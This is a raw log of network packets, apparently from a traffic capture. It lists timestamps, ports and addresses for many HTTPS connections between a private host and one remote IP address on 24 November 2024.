Nov 24, 2024 04:22:46.886910915 CET	49770	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:46.886940002 CET	443	49770	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:46.886955023 CET	49770	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:46.886960983 CET	443	49770	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:46.897223949 CET	49769	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:46.897223949 CET	49769	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:46.897254944 CET	443	49769	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:46.897269011 CET	443	49769	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:46.905123949 CET	49774	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:46.905164003 CET	443	49774	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:46.905235052 CET	49774	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:46.906156063 CET	49775	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:46.906191111 CET	443	49775	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:46.906234026 CET	49775	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:46.906377077 CET	49774	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:46.906399012 CET	443	49774	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:46.906466007 CET	49775	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:46.906478882 CET	443	49775	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.437556028 CET	443	49771	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.439102888 CET	49771	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.439162016 CET	443	49771	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.439511061 CET	49771	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.439526081 CET	443	49771	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.512307882 CET	443	49773	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.513195992 CET	49773	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.513223886 CET	443	49773	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.513633966 CET	49773	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.513638020 CET	443	49773	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.588898897 CET	443	49772	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.592614889 CET	49772	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.592700005 CET	443	49772	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.593132973 CET	49772	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.593148947 CET	443	49772	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.806617022 CET	443	49775	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.807411909 CET	49775	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.807440042 CET	443	49775	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.807821035 CET	49775	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.807826996 CET	443	49775	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.808836937 CET	443	49774	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.809222937 CET	49774	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.809297085 CET	443	49774	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.809627056 CET	49774	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.809647083 CET	443	49774	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.891295910 CET	443	49771	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.891376019 CET	443	49771	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.891613960 CET	49771	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.891674042 CET	49771	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.891674042 CET	49771	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.891707897 CET	443	49771	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.891726017 CET	443	49771	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.894444942 CET	49776	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.894495964 CET	443	49776	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.894584894 CET	49776	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.894757032 CET	49776	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.894779921 CET	443	49776	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.955988884 CET	443	49773	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.956059933 CET	443	49773	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.956305027 CET	49773	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.956355095 CET	49773	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.956355095 CET	49773	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.956374884 CET	443	49773	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.956386089 CET	443	49773	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.959002972 CET	49777	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.959080935 CET	443	49777	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:48.959148884 CET	49777	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.959260941 CET	49777	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:48.959279060 CET	443	49777	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:49.049755096 CET	443	49772	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:49.049835920 CET	443	49772	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:49.050033092 CET	49772	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:49.050097942 CET	49772	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:49.050097942 CET	49772	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:49.050127029 CET	443	49772	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:49.050136089 CET	443	49772	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:49.052571058 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:49.052689075 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:49.052812099 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:49.052937031 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:49.052968025 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:49.259510994 CET	443	49775	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:49.259572029 CET	443	49775	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:49.259782076 CET	49775	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:49.259805918 CET	49775	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:49.259818077 CET	443	49775	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:49.259825945 CET	49775	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:49.259830952 CET	443	49775	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:49.261651039 CET	443	49774	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:49.261713028 CET	443	49774	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:49.261766911 CET	49774	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:49.262537003 CET	49779	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:49.262573004 CET	443	49779	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:49.262638092 CET	49779	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:49.262792110 CET	49774	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:49.262809992 CET	443	49774	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:49.262820959 CET	49774	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:49.262825012 CET	443	49774	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:49.263783932 CET	49779	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:49.263807058 CET	443	49779	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:49.264810085 CET	49780	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:49.264834881 CET	443	49780	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:49.264883995 CET	49780	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:49.265120029 CET	49780	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:49.265130043 CET	443	49780	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:50.594412088 CET	443	49777	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:50.596858025 CET	49777	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:50.596905947 CET	443	49777	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:50.597322941 CET	49777	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:50.597335100 CET	443	49777	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:50.746686935 CET	443	49776	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:50.747343063 CET	49776	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:50.747396946 CET	443	49776	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:50.747781992 CET	49776	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:50.747792006 CET	443	49776	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:50.835113049 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:50.835789919 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:50.835846901 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:50.836245060 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:50.836251974 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.043482065 CET	443	49779	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.044114113 CET	49779	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.044168949 CET	443	49779	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.044559002 CET	49779	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.044567108 CET	443	49779	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.046099901 CET	443	49780	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.046391964 CET	49780	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.046425104 CET	443	49780	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.046706915 CET	49780	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.046714067 CET	443	49780	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.050354958 CET	443	49777	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.050410032 CET	443	49777	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.050621986 CET	49777	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.050657034 CET	49777	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.050677061 CET	443	49777	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.050688028 CET	49777	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.050693035 CET	443	49777	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.053560019 CET	49781	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.053591967 CET	443	49781	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.053675890 CET	49781	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.053801060 CET	49781	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.053814888 CET	443	49781	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.205765009 CET	443	49776	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.205832958 CET	443	49776	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.206043959 CET	49776	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.206099987 CET	49776	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.206099987 CET	49776	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.206127882 CET	443	49776	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.206142902 CET	443	49776	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.208703041 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.208746910 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.208827972 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.208986998 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.208997011 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.284476995 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.284557104 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.284677029 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.284862995 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.284890890 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.284907103 CET	49778	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.284917116 CET	443	49778	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.287347078 CET	49783	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.287411928 CET	443	49783	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.287525892 CET	49783	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.287663937 CET	49783	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.287689924 CET	443	49783	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.490200043 CET	443	49779	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.490274906 CET	443	49779	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.490345955 CET	49779	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.490537882 CET	49779	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.490566969 CET	443	49779	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.490581989 CET	49779	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.490586996 CET	443	49779	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.492041111 CET	443	49780	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.492117882 CET	443	49780	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.492172003 CET	49780	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.492240906 CET	49780	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.492257118 CET	443	49780	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.492264986 CET	49780	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.492269993 CET	443	49780	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.493192911 CET	49784	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.493237972 CET	443	49784	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.493294954 CET	49784	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.493429899 CET	49784	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.493444920 CET	443	49784	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.494427919 CET	49785	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.494466066 CET	443	49785	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:51.494528055 CET	49785	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.494631052 CET	49785	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:51.494647026 CET	443	49785	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:52.833415031 CET	443	49781	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:52.833956957 CET	49781	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:52.833978891 CET	443	49781	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:52.834302902 CET	49781	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:52.834309101 CET	443	49781	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:52.988158941 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:52.988626003 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:52.988641977 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:52.989116907 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:52.989121914 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.075812101 CET	443	49783	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.076302052 CET	49783	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.076337099 CET	443	49783	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.076802969 CET	49783	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.076807022 CET	443	49783	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.251832962 CET	443	49785	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.252285004 CET	49785	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.252315044 CET	443	49785	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.252830982 CET	49785	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.252835989 CET	443	49785	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.303970098 CET	443	49781	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.304053068 CET	443	49781	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.304114103 CET	49781	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.304258108 CET	49781	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.304277897 CET	443	49781	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.304289103 CET	49781	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.304294109 CET	443	49781	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.307080030 CET	49786	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.307118893 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.307173014 CET	49786	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.307478905 CET	49786	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.307493925 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.337028980 CET	443	49784	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.337639093 CET	49784	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.337661028 CET	443	49784	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.338069916 CET	49784	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.338076115 CET	443	49784	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.431219101 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.431292057 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.431382895 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.431595087 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.431612968 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.431621075 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.431626081 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.434282064 CET	49787	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.434324980 CET	443	49787	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.434412003 CET	49787	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.434566021 CET	49787	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.434581041 CET	443	49787	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.518971920 CET	443	49783	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.519030094 CET	443	49783	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.519217968 CET	49783	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.519243002 CET	49783	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.519257069 CET	443	49783	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.519267082 CET	49783	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.519270897 CET	443	49783	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.521251917 CET	49788	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.521281004 CET	443	49788	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.521353960 CET	49788	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.521472931 CET	49788	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.521481037 CET	443	49788	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.685993910 CET	443	49785	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.686058044 CET	443	49785	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.686213970 CET	49785	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.686356068 CET	49785	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.686382055 CET	443	49785	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.686398983 CET	49785	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.686404943 CET	443	49785	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.689265966 CET	49789	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.689363003 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.689662933 CET	49789	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.689662933 CET	49789	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.689743996 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.801448107 CET	443	49784	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.801520109 CET	443	49784	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.801577091 CET	49784	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.801775932 CET	49784	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.801798105 CET	443	49784	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.801810980 CET	49784	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.801816940 CET	443	49784	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.804429054 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.804452896 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:53.804508924 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.804630995 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:53.804641962 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.023979902 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.036109924 CET	49786	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.036130905 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.036498070 CET	49786	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.036505938 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.213849068 CET	443	49787	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.245060921 CET	49787	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.245093107 CET	443	49787	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.245565891 CET	49787	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.245578051 CET	443	49787	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.369801044 CET	443	49788	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.370337009 CET	49788	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.370357037 CET	443	49788	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.370661020 CET	49788	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.370665073 CET	443	49788	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.415421009 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.418591976 CET	49789	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.418663025 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.419497013 CET	49789	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.419512033 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.468274117 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.468301058 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.468359947 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.468365908 CET	49786	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.468401909 CET	49786	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.469530106 CET	49786	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.469551086 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.469563007 CET	49786	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.469569921 CET	443	49786	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.477680922 CET	49791	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.477761984 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.477829933 CET	49791	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.478029013 CET	49791	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.478053093 CET	443	49791	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.517112017 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.539212942 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.539226055 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.539824009 CET	49790	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.539828062 CET	443	49790	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.657419920 CET	443	49787	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.657494068 CET	443	49787	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.657546043 CET	49787	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.657742023 CET	49787	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.657767057 CET	443	49787	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.657799006 CET	49787	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.657805920 CET	443	49787	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.660550117 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.660584927 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.660648108 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.660876989 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.660888910 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.822155952 CET	443	49788	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.822225094 CET	443	49788	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.822289944 CET	49788	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.822511911 CET	49788	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.822525978 CET	443	49788	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.822544098 CET	49788	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.822549105 CET	443	49788	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.825186014 CET	49793	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.825246096 CET	443	49793	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.825334072 CET	49793	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.825495958 CET	49793	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.825514078 CET	443	49793	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.854536057 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.854557991 CET	443	49789	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:55.854619026 CET	49789	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:55.854671955 CET	443	49789	13.107.246.63	192.168.2.5
